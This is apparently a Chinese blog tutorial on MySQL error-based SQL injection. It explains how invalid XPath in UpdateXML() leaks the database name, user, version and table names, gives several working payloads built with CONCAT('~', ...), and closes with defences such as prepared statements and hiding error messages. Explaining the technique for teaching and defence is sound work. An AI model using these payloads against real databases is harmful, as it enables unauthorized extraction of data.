### 原理分
析
`
UpdateXML()` 是 My
SQL 提供的一个用于修改 XML 文档内容的函数，其语法为 `
UpdateXML(xml_document, xpath_string, new_value)`，其中第二个参数需要符合 XPath 表达式的格式。如果传入的内容不符合 XPath 的语法规则，则会触发
报错信息[^2]。
在
SQL 注入攻击中，攻击者可以利用这一特性构造恶意输入，使得
数据库在解
析时抛出错误，并将部分敏感信息（如
数据库版本、表名等）通过错误信息泄露出来。具体来说，攻击者通常会使用 `CONCAT()` 函数拼接字符串，以尝试构造非法的 XPath 路径，从而触发错误并返回期望的信息[^1]。
例如，以下是一个典型的 `
updatexml`
报错注入的 payload：
```
sql
SELECT
UpdateXML('<?xml version="1.0" encoding="utf-8"?><book><title>
SQL Injection</title></book>', CONCAT('~', DATABASE()), 'test');
```
在这个例子中，由于 `CONCAT('~', DATABASE())` 生成的结果是以 `~` 开头的字符串，而 `~` 并不是合法的 XPath 语法，因此 My
SQL 会抛出错误，并在错误信息中显示当前
数据库名称[^1]。
### 利用方式
`
updatexml`
报错注入常用于无法直接通过查询获取数据的情况下（如盲注场景），通过触发错误来间接获取
数据库信息。常见的利用方式包括但不限于：
- 获取当前
数据库名称：
```
sql
SELECT
UpdateXML('<a></a>', CONCAT('~', DATABASE()), 'b');
```
- 获取
数据库用户：
```
sql
SELECT
UpdateXML('<a></a>', CONCAT('~', USER()), 'b');
```
- 获取
数据库版本：
```
sql
SELECT
UpdateXML('<a></a>', CONCAT('~', VERSION()), 'b');
```
- 获取表名或列名：
攻击者可以通过 `INFORMATION_SCHEMA.COLUMNS` 或 `INFORMATION_SCHEMA.TABLES` 查询特定
数据库中的表或列，并将其嵌套到 `CONCAT()` 中进行
报错注入。
示例：
```
sql
SELECT
UpdateXML('<a></a>', CONCAT('~', (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)), 'b');
```
上述方法依赖于 My
SQL 在解
析 XPath 表达式时的严格校验机制。当传入的路径不符合 XPath 标准时，My
SQL 会抛出错误，并将传入的内容作为错误信息的一部分返回给客户端，从而实现信息泄露的目的。
### 防御措施
为了防止此类攻击，建议采取以下措施：
1. **输入过滤与验证**：对所有用户输入进行严格的过滤和验证，避免直接将用户输入拼接到
SQL 查询中。
2. **使用预编译语句**：采用参数化查询（Prepared Statements）或 ORM 框架，从根本上杜绝
SQL 注入的可能性。
3. **最小权限原则**：确保
数据库账户仅具备完成任务所需的最小权限，减少潜在攻击面。
4. **错误信息处理**：在生产环境中关闭详细的错误信息输出，避免暴露
数据库结构或其他敏感信息。
---
订阅专栏 解锁全文
扫一扫
1333
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
